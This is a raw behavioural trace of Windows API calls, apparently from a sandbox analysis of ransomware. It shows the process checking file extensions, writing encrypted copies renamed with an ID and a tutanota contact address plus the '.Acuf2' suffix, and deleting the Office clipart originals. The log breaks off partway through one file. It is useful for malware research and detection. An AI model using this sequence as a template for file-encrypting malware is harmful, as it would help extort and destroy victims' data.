	[0269.925] lstrlenW (lpString=".zip") returned 4
	[0269.925] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.925] lstrlenW (lpString=".rar") returned 4
	[0269.925] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.925] lstrlenW (lpString=".bz2") returned 4
	[0269.925] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.925] lstrlenW (lpString=".7z") returned 3
	[0269.925] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63
	[0269.925] lstrlenW (lpString=".dbf") returned 4
	[0269.925] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63
	[0269.925] lstrlenW (lpString=".1cd") returned 4
	[0269.925] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG") returned 63
	[0269.925] lstrlenW (lpString=".jpg") returned 4
	[0269.925] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.926] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=20179) returned 1
	[0269.926] CloseHandle (hObject=0x360) returned 1
	[0269.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 0x20
	[0269.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0269.926] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.926] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0269.926] GetLastError () returned 0x0
	[0269.926] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4ed3, lpOverlapped=0x0) returned 1
	[0269.929] WriteFile (in: hFile=0x32c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4ee0, lpOverlapped=0x0) returned 1
	[0269.930] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.930] WriteFile (in: hFile=0x32c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.930] SetEndOfFile (hFile=0x32c) returned 1
	[0269.930] CloseHandle (hObject=0x32c) returned 1
	[0269.930] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.930] SetEndOfFile (hFile=0x360) returned 1
	[0270.394] CloseHandle (hObject=0x360) returned 1
	[0270.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 1
	[0270.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63
	[0270.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63
	[0270.395] lstrlenW (lpString=".doc") returned 4
	[0270.395] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0270.395] lstrlenW (lpString=".docx") returned 5
	[0270.395] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0270.395] lstrlenW (lpString=".pdf") returned 4
	[0270.395] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0270.395] lstrlenW (lpString=".xls") returned 4
	[0270.395] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0270.395] lstrlenW (lpString=".xlsx") returned 5
	[0270.395] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0270.395] lstrlenW (lpString=".ppt") returned 4
	[0270.395] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0270.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63
	[0270.395] lstrlenW (lpString=".zip") returned 4
	[0270.395] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0270.395] lstrlenW (lpString=".rar") returned 4
	[0270.395] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0270.395] lstrlenW (lpString=".bz2") returned 4
	[0270.395] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0270.395] lstrlenW (lpString=".7z") returned 3
	[0270.395] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0270.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63
	[0270.396] lstrlenW (lpString=".dbf") returned 4
	[0270.396] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0270.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63
	[0270.396] lstrlenW (lpString=".1cd") returned 4
	[0270.396] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0270.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63
	[0270.396] lstrlenW (lpString=".jpg") returned 4
	[0270.396] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0270.396] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=37140) returned 1
	[0270.396] CloseHandle (hObject=0x360) returned 1
	[0270.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 0x20
	[0270.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0270.397] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.397] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0270.397] GetLastError () returned 0x0
	[0270.397] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x9114, lpOverlapped=0x0) returned 1
	[0270.399] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x9120, lpOverlapped=0x0) returned 1
	[0270.400] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.400] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0270.401] SetEndOfFile (hFile=0x28c) returned 1
	[0270.401] CloseHandle (hObject=0x28c) returned 1
	[0270.401] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.401] SetEndOfFile (hFile=0x360) returned 1
	[0270.403] CloseHandle (hObject=0x360) returned 1
	[0270.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 1
	[0270.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63
	[0270.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63
	[0270.404] lstrlenW (lpString=".doc") returned 4
	[0270.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0270.404] lstrlenW (lpString=".docx") returned 5
	[0270.404] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0270.404] lstrlenW (lpString=".pdf") returned 4
	[0270.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0270.404] lstrlenW (lpString=".xls") returned 4
	[0270.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0270.404] lstrlenW (lpString=".xlsx") returned 5
	[0270.404] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0270.404] lstrlenW (lpString=".ppt") returned 4
	[0270.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0270.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63
	[0270.404] lstrlenW (lpString=".zip") returned 4
	[0270.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0270.404] lstrlenW (lpString=".rar") returned 4
	[0270.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0270.404] lstrlenW (lpString=".bz2") returned 4
	[0270.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0270.404] lstrlenW (lpString=".7z") returned 3
	[0270.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0270.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63
	[0270.404] lstrlenW (lpString=".dbf") returned 4
	[0270.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63
	[0270.405] lstrlenW (lpString=".1cd") returned 4
	[0270.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63
	[0270.405] lstrlenW (lpString=".jpg") returned 4
	[0270.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0270.408] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=6214) returned 1
	[0270.408] CloseHandle (hObject=0x360) returned 1
	[0270.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 0x20
	[0270.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0270.408] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.408] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0270.409] GetLastError () returned 0x0
	[0270.409] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1846, lpOverlapped=0x0) returned 1
	[0270.411] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1850, lpOverlapped=0x0) returned 1
	[0270.411] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.411] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0270.411] SetEndOfFile (hFile=0x28c) returned 1
	[0270.412] CloseHandle (hObject=0x28c) returned 1
	[0270.412] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.412] SetEndOfFile (hFile=0x360) returned 1
	[0270.415] CloseHandle (hObject=0x360) returned 1
	[0270.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 1
	[0270.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63
	[0270.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63
	[0270.415] lstrlenW (lpString=".doc") returned 4
	[0270.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0270.415] lstrlenW (lpString=".docx") returned 5
	[0270.415] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0270.415] lstrlenW (lpString=".pdf") returned 4
	[0270.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0270.415] lstrlenW (lpString=".xls") returned 4
	[0270.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0270.415] lstrlenW (lpString=".xlsx") returned 5
	[0270.415] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0270.415] lstrlenW (lpString=".ppt") returned 4
	[0270.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0270.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63
	[0270.416] lstrlenW (lpString=".zip") returned 4
	[0270.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0270.416] lstrlenW (lpString=".rar") returned 4
	[0270.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0270.416] lstrlenW (lpString=".bz2") returned 4
	[0270.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0270.416] lstrlenW (lpString=".7z") returned 3
	[0270.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0270.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63
	[0270.416] lstrlenW (lpString=".dbf") returned 4
	[0270.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0270.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63
	[0270.416] lstrlenW (lpString=".1cd") returned 4
	[0270.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0270.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63
	[0270.416] lstrlenW (lpString=".jpg") returned 4
	[0270.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0270.417] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=9744) returned 1
	[0270.417] CloseHandle (hObject=0x360) returned 1
	[0270.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 0x20
	[0270.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0270.417] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.418] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0270.418] GetLastError () returned 0x0
	[0270.418] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2610, lpOverlapped=0x0) returned 1
	[0270.419] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2620, lpOverlapped=0x0) returned 1
	[0270.420] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.420] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0270.420] SetEndOfFile (hFile=0x28c) returned 1
	[0270.420] CloseHandle (hObject=0x28c) returned 1
	[0270.421] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.421] SetEndOfFile (hFile=0x360) returned 1
	[0270.423] CloseHandle (hObject=0x360) returned 1
	[0270.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 1
	[0270.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63
	[0270.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63
	[0270.423] lstrlenW (lpString=".doc") returned 4
	[0270.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0270.423] lstrlenW (lpString=".docx") returned 5
	[0270.423] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0270.423] lstrlenW (lpString=".pdf") returned 4
	[0270.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0270.423] lstrlenW (lpString=".xls") returned 4
	[0270.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0270.424] lstrlenW (lpString=".xlsx") returned 5
	[0270.424] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0270.424] lstrlenW (lpString=".ppt") returned 4
	[0270.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0270.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63
	[0270.424] lstrlenW (lpString=".zip") returned 4
	[0270.424] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0270.424] lstrlenW (lpString=".rar") returned 4
	[0270.424] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0270.424] lstrlenW (lpString=".bz2") returned 4
	[0270.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0270.424] lstrlenW (lpString=".7z") returned 3
	[0270.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0270.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63
	[0270.424] lstrlenW (lpString=".dbf") returned 4
	[0270.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0270.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63
	[0270.424] lstrlenW (lpString=".1cd") returned 4
	[0270.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0270.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63
	[0270.424] lstrlenW (lpString=".jpg") returned 4
	[0270.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0270.425] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2488) returned 1
	[0270.425] CloseHandle (hObject=0x360) returned 1
	[0270.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 0x20
	[0270.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0270.425] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.425] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
